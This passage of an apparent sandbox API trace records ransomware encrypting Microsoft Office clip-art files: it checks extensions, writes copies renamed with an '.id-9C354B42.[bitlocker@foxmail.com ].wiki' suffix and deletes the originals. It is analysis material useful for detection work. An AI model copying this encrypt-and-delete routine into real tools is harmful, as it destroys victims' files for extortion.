Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0061.073] lstrlenW (lpString=".zip") returned 4 [0061.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.073] lstrlenW (lpString=".rar") returned 4 [0061.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.073] lstrlenW (lpString=".bz2") returned 4 [0061.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.073] lstrlenW (lpString=".7z") returned 3 [0061.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0061.073] lstrlenW (lpString=".dbf") returned 4 [0061.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0061.073] lstrlenW (lpString=".1cd") returned 4 [0061.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0061.073] lstrlenW (lpString=".jpg") returned 4 [0061.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.074] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.074] lstrlenW (lpString="AN01044_.WMF") returned 12 [0061.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.074] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1596) returned 1 [0061.074] CloseHandle (hObject=0x164) returned 1 [0061.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 0x20 [0061.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.074] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.074] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.075] GetLastError () returned 0x0 [0061.075] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x63c, lpOverlapped=0x0) returned 1 [0061.279] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x640, lpOverlapped=0x0) returned 1 [0061.280] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.280] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.280] SetEndOfFile (hFile=0x214) returned 1 [0061.281] CloseHandle (hObject=0x214) returned 1 [0061.281] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.281] SetEndOfFile (hFile=0x164) returned 1 [0061.281] CloseHandle (hObject=0x164) returned 1 [0061.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0061.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0061.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0061.282] lstrlenW (lpString=".doc") returned 4 [0061.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.282] lstrlenW (lpString=".docx") returned 5 [0061.282] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.282] lstrlenW (lpString=".pdf") returned 4 [0061.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.282] lstrlenW (lpString=".xls") returned 4 [0061.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.282] lstrlenW (lpString=".xlsx") returned 5 [0061.282] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.282] lstrlenW (lpString=".ppt") returned 4 [0061.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0061.282] lstrlenW (lpString=".zip") returned 4 [0061.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.282] lstrlenW (lpString=".rar") returned 4 [0061.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.282] lstrlenW (lpString=".bz2") returned 4 [0061.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.282] lstrlenW (lpString=".7z") returned 3 [0061.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0061.282] lstrlenW (lpString=".dbf") returned 4 [0061.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0061.283] lstrlenW (lpString=".1cd") returned 4 [0061.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0061.283] lstrlenW (lpString=".jpg") returned 4 [0061.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0061.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0061.283] lstrlenW (lpString=".doc") returned 4 [0061.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.283] lstrlenW (lpString=".docx") returned 5 [0061.283] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.283] lstrlenW (lpString=".pdf") returned 4 [0061.283] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.283] lstrlenW (lpString=".xls") returned 4 [0061.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.283] lstrlenW (lpString=".xlsx") returned 5 [0061.283] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.283] lstrlenW (lpString=".ppt") returned 4 [0061.283] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0061.283] lstrlenW (lpString=".zip") returned 4 [0061.283] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.283] lstrlenW (lpString=".rar") returned 4 [0061.283] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.283] lstrlenW (lpString=".bz2") returned 4 [0061.283] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.283] lstrlenW (lpString=".7z") returned 3 [0061.283] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0061.283] lstrlenW (lpString=".dbf") returned 4 [0061.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0061.283] lstrlenW (lpString=".1cd") returned 4 [0061.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0061.283] lstrlenW (lpString=".jpg") returned 4 [0061.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.284] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.284] lstrlenW (lpString="AN03500_.WMF") returned 12 [0061.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.284] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=9240) returned 1 [0061.284] CloseHandle (hObject=0x164) returned 1 [0061.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 0x20 [0061.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.284] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.284] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.285] GetLastError () returned 0x0 [0061.285] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x2418, lpOverlapped=0x0) returned 1 [0061.286] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x2420, lpOverlapped=0x0) returned 1 [0061.287] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.287] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.287] SetEndOfFile (hFile=0x214) returned 1 [0061.288] CloseHandle (hObject=0x214) returned 1 [0061.288] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.288] SetEndOfFile (hFile=0x164) returned 1 [0061.288] CloseHandle (hObject=0x164) returned 1 [0061.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0061.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0061.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0061.289] lstrlenW (lpString=".doc") returned 4 [0061.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.289] lstrlenW (lpString=".docx") returned 5 [0061.289] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.289] lstrlenW (lpString=".pdf") returned 4 [0061.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.289] lstrlenW (lpString=".xls") returned 4 [0061.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.289] lstrlenW (lpString=".xlsx") returned 5 [0061.289] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.289] lstrlenW (lpString=".ppt") returned 4 [0061.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0061.289] lstrlenW (lpString=".zip") returned 4 [0061.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.289] lstrlenW (lpString=".rar") returned 4 [0061.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.289] lstrlenW (lpString=".bz2") returned 4 [0061.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.289] lstrlenW (lpString=".7z") returned 3 [0061.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0061.289] lstrlenW (lpString=".dbf") returned 4 [0061.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0061.290] lstrlenW (lpString=".1cd") returned 4 [0061.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0061.290] lstrlenW (lpString=".jpg") returned 4 [0061.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0061.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0061.290] lstrlenW (lpString=".doc") returned 4 [0061.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.290] lstrlenW (lpString=".docx") returned 5 [0061.290] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.290] lstrlenW (lpString=".pdf") returned 4 [0061.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.290] lstrlenW (lpString=".xls") returned 4 [0061.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.290] lstrlenW (lpString=".xlsx") returned 5 [0061.290] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.290] lstrlenW (lpString=".ppt") returned 4 [0061.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0061.290] lstrlenW (lpString=".zip") returned 4 [0061.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.290] lstrlenW (lpString=".rar") returned 4 [0061.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.290] lstrlenW (lpString=".bz2") returned 4 [0061.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.290] lstrlenW (lpString=".7z") returned 3 [0061.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0061.290] lstrlenW (lpString=".dbf") returned 4 [0061.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0061.290] lstrlenW (lpString=".1cd") returned 4 [0061.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0061.291] lstrlenW (lpString=".jpg") returned 4 [0061.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.291] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.291] lstrlenW (lpString="AN04108_.WMF") returned 12 [0061.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.291] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2344) returned 1 [0061.291] CloseHandle (hObject=0x164) returned 1 [0061.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 0x20 [0061.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.291] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.291] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.292] GetLastError () returned 0x0 [0061.292] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x928, lpOverlapped=0x0) returned 1 [0061.293] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x930, lpOverlapped=0x0) returned 1 [0061.294] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.294] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.294] SetEndOfFile (hFile=0x214) returned 1 [0061.294] CloseHandle (hObject=0x214) returned 1 [0061.294] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.294] SetEndOfFile (hFile=0x164) returned 1 [0061.295] CloseHandle (hObject=0x164) returned 1 [0061.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.295] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0061.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0061.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0061.295] lstrlenW (lpString=".doc") returned 4 [0061.295] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.295] lstrlenW (lpString=".docx") returned 5 [0061.295] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.296] lstrlenW (lpString=".pdf") returned 4 [0061.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.296] lstrlenW (lpString=".xls") returned 4 [0061.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.296] lstrlenW (lpString=".xlsx") returned 5 [0061.296] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.296] lstrlenW (lpString=".ppt") returned 4 [0061.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0061.296] lstrlenW (lpString=".zip") returned 4 [0061.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.296] lstrlenW (lpString=".rar") returned 4 [0061.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.296] lstrlenW (lpString=".bz2") returned 4 [0061.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.296] lstrlenW (lpString=".7z") returned 3 [0061.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0061.296] lstrlenW (lpString=".dbf") returned 4 [0061.296] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0061.296] lstrlenW (lpString=".1cd") returned 4 [0061.296] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0061.296] lstrlenW (lpString=".jpg") returned 4 [0061.296] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0061.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0061.296] lstrlenW (lpString=".doc") returned 4 [0061.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.296] lstrlenW (lpString=".docx") returned 5 [0061.296] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.296] lstrlenW (lpString=".pdf") returned 4 [0061.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.296] lstrlenW (lpString=".xls") returned 4 [0061.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.296] lstrlenW (lpString=".xlsx") returned 5 [0061.297] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.297] lstrlenW (lpString=".ppt") returned 4 [0061.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0061.297] lstrlenW (lpString=".zip") returned 4 [0061.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.297] lstrlenW (lpString=".rar") returned 4 [0061.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.297] lstrlenW (lpString=".bz2") returned 4 [0061.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.297] lstrlenW (lpString=".7z") returned 3 [0061.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0061.297] lstrlenW (lpString=".dbf") returned 4 [0061.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.297] lstrlenW (lpString="C:\\Program Files\\Microsoft 